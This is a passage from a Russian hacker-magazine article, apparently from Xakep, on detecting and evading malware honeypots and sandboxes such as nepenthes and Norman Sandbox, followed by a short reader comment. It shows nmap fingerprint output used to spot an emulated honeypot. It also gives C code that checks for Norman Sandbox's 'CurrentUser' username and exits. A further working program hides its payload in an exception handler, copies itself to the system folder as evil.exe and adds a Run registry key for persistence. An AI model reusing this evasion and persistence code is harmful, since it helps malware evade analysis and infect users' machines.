broadband router (92%), Xerox WorkCentre Pro 265 multifunction printer (90%), Linux 2.4.20 - 2.4.32, Linux-based embedded device (Linksys WRT54GL WAP, Buffalo AirStation WLA-G54 WAP, Maxtor Shared Storage Drive, or Asus Wireless Storage Router) (89%), Linux 2.6.11 - 2.6.15 (Ubuntu or Debian) (89%), Linux 2.6.18-gentoo-r1 (x86) (89%), Linux 2.4.22 (Fedora Core 1, x86) (88%), Atmel AVR32 STK1000 development board (runs Linux 2.6.16.11) (88%), Linux 2.4.33 (87%), Netgear DG834 or DG834G (wireless) DSL Router (87%) No exact OS matches for host (test conditions non-ideal). Uptime: 2.218 days (since Tue Jan 30 10:52:07 2007) Network Distance: 1 hop Service Info: Host: ---freeFTPd Interesting ports on 172.22.1.6: Not shown: 1692 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 990/tcp open ftps? 4899/tcp open tcpwrapped MAC Address: 00:118:1F:ED:9F (Asustek Computer) No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ). TCP/IP fingerprint: OS:SCAN(V=4.20%D=2/1%OT=135%CT=1%CU=35967%PV=Y%DS=1%G=Y%M=0011D8%TM=45C1E5C OS:9%P=i586-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=0)OPS(O OS:1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS% OS:O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W OS:5=FFFF%W6=FFFF)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW0NNS%CC=N%Q=)T1(R=Y%DF=Y OS:%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q= OST3(R=Y%DF=Y%T=80%W=FFFF%S=O%A=S+%F=AS%O=M5B4NW0NNT00NNS%RD=0%Q=)T4(R=Y% OSF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR% OS:O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=80% OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%TO S=0%IPL=B0%UN=0%RIPL=G%R OS:ID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=S%T=80%TOSI=Z%CD=Z%SI=S%DLI=S OS Network Distance: 1 hop Service Info: OS: Windows Interesting ports on 172.22.1.11: Not shown: 1693 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1110/tcp open tcpwrapped MAC Address: 00:04:61:7D:3F:AA (Epox Computer Co.) No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ). TCP/IP fingerprint: OS:SCAN(V=4.20%D=2/2%OT=135%CT=1%CU=40556%PV=Y%DS=1%G=Y%M=000461%TM=45C3675 OS:4%P=i586-pc-linux-gnu)SEQ(SP=83%GCD=1%ISR=9B%TI=I%II=I%SS=S%TS=0)SEQ(SP= OS:85%GCD=1%ISR=9B%TI=I%II=I%SS=S%TS=0)SEQ(SP=7F%GCD=1%ISR=9B%TI=I%II=I%SS= OS:S%TS=0)SEQ(SP=7E%GCD=1%ISR=9A%TI=I%II=I%SS=S%TS=0)SEQ(SP=74%GCD=1%ISR=9C OS:%TI=I%II=I%SS=S%TS=0)OPS(O1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW OS:0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FAF0 OS:%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=Y%T=80%W=FAF0%O=M5B4 OS:NW0NNS%CC=N%Q=U)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80% OS:W=0%S=Z%A=S%F=AR%O=%RD=0%Q=U)T3(R=Y%DF=Y%T=80%W=FAF0%S=O%A=S+%F=AS%O=M5B OS:4NW0NNT00NNS%RD=0%Q=U)T4(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y OS:%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R OS:%O=%RD=0%Q=)T7(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T= OS:80%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI= OS:S%T=80%TOSI=S%CD=Z%SI=S%DLI=S) Network Distance: 1 hop Service Info: OS: Windows OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ . Nmap finished: 3 IP addresses (3 hosts up) scanned in 359.942 secondss И что же мы наблюдаем в листинге 6? 172.22.1.27 – слишком много сервисов, причём слишком много из них неопределённых. Надеюсь, те данные, которые я отправил разработчикам nmap зачтутся, и nepenthes не уйдёт от зоркого глаза сканера в дальнейшем, а пока что... Конечно, ситуация парниковая. Т.к. По большому счёту нет необходимости в эмулящии такого количества сервисов и часть из них можно убрать, закоментировав соответствующие строки в конфигурационном файле. Это позволит не привлекать к себе особого внимания. Кроме того, мы не видим ни одного родного сервиса Linux, чем в данном случае и является тачка, хотя в реальных условиях промелькнуть родной порт может, выдав систему с головой. Ну а что касается двух последующих адресов (172.22.1.6 172.22.1.11), это настоящие Windows-тачки. 2000 SP4 и XP SP1 соответственно. Чуешь разницу? Примерно таким же образом можно использовать для анализа hping или amap от группы THC. Конечно, можно попробовать заняться анализом TCP/IP вручную, и, например, определять tcp sequenсe, но не будем останавливаться на этом, т.к. тема достойна отдельной статьи (врочем, в сети информации полно, как и полно её в мануале к hping2 =)). А теперь предположим следующее – наш зловред всё-таки залетел в nepenthes и вот вот будет в песочнице. Что тут делать? Решение тоже будет очень простым, хотя, конечно, от анализа в CWSandbox, может и не спасти, а тем более от анализа антирирусным экспертом типа дяди Жени или попроще. Способ очень прост и был предложен DiA/RRLF (www.vx-dia.de.vu :: [email protected]). Суть его заключается в том, что имя пользователя, под которым запущен sandbox всегда CurrentUser, соответственно, мы проверяем под каким пользователем будет запущенна наша зверушка и в случае подвоха просто завершаем процесс, в противном случае выполняем всю темную работу: Листинг 7 void AntiNormanSandbox() { char Username[64]; unsigned long UsernameSize = sizeof(Username); GetUserName(Username, &UsernameSize); if(lstrcmp(Username, "CurrentUser") == 0) ExitProcess(0); } Конечно, способ не универсальный, но наводит на размышления. Однако, если разработчики исправят это он уже идёт лесом. Теперь посмотрим что придумал наш (Hell Knights Crew) гуру malware-разработок Cr4sh. Оказывается, Norman Sandbox, совершенно не умеет эмулировать исключения и их обработку. Для демонстрации этого, пишем простенькую програмку: Листинг 8 #pragma comment(linker,"/ENTRY:WinMain") #include <windows.h> void EvilFunc(void) { char sys_dir[MAX_PATH], module[MAX_PATH]; GetSystemDirectory(sys_dir, MAX_PATH); GetModuleFileName(GetModuleHandle(NULL), module, MAX_PATH); strcat(sys_dir, "\\evil.exe"); CopyFile(module, sys_dir, FALSE); HKEY hk; if (RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk) == ERROR_SUCCESS) { RegSetValueEx(hk, "hellknightsrulezz", 0, REG_SZ, (LPBYTE)sys_dir, strlen(sys_dir)+1); RegCloseKey(hk); } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { __try { PDWORD shit = 0; *shit = 0xdeadbabe; } __except (EXCEPTION_EXECUTE_HANDLER) { EvilFunc(); } return 0; } Как видим, она вызывает исключение, а в его обработчике копирует наш бинарник в системную папку и добавляет его в атозапуск, при этом песочница будет нема как рыба. Конечно, способов может быть масса, однако на каждую дырку в жопе найдётся конец в виде штопора. Это я к тому что везде надо быть up2date.
[Липкий горшочек с мёдом] А что сказать тут? Да пожалуй и нечего. Разочаровался я в нём пока ждал выхода журнала, так как не увидел эффективности его работы. (может таких значительных эпидеий не наблюдалось просто?) Очень простая идея проиводействия распространения червя в сети с помощью чего-то похожего на неавершенное трёхэтапное TCP-рукопожатие заставляющего червя ожидать завершения сеанса соединения (точнее как раз завершенного, но бездействующего). Исполозование более чем просто, достаточно указать подсеть, в которой мы будем пытаться противодействовать распространению и куда логировать события. После запуска система выберет несколько свободных ip-адресов в подсетке и начнёт от их имени противодействие. [Вместо заключения] Да не будет тут заключения. Может ещё что придёт в голову – напишу сюда, или может следующей статье по теме будет. Единственное, что хочу отметить: написание обработчиков событий для nepenthes, как и download/submit обработчиков подробно описанно в примерах на официальном сайте проекта nepenthes, что даёт огромный простор для творчества. Read This Fine Source, please, они черезвычайно хорошо откоментированны (папки от modules/x-1 до x-6). На сим разрешите откланяться, и не забудьте, что статья-то может ещё обновиться. Спасибо что тебе хватило терпения прочитать всё до конца. [Greetz] В создании статьи неоценимую помощь оказали _1nf3ct0r_, Cytech, Cr4sh, а также все активные участники обсуждения на форуме Dark Side ResearcherZ Board. Большое им спасибо за интересные дискуссии. Кроме того хочу поблагодарить свою любимую девушку за терпение и понимание, а также своих работодателей за гигабайты халявного интернета. Спаcибо, с вами был ShadOS, Скрытый Операционщик. (с) ShadOS, Hell Knights Crew, журнал Xakep. http://hellknights.void.ru
читал эту статейку еще в старом Хакере ) так все норм только сделай отступления и выделене цветом подзаголовков ) будет читабельнее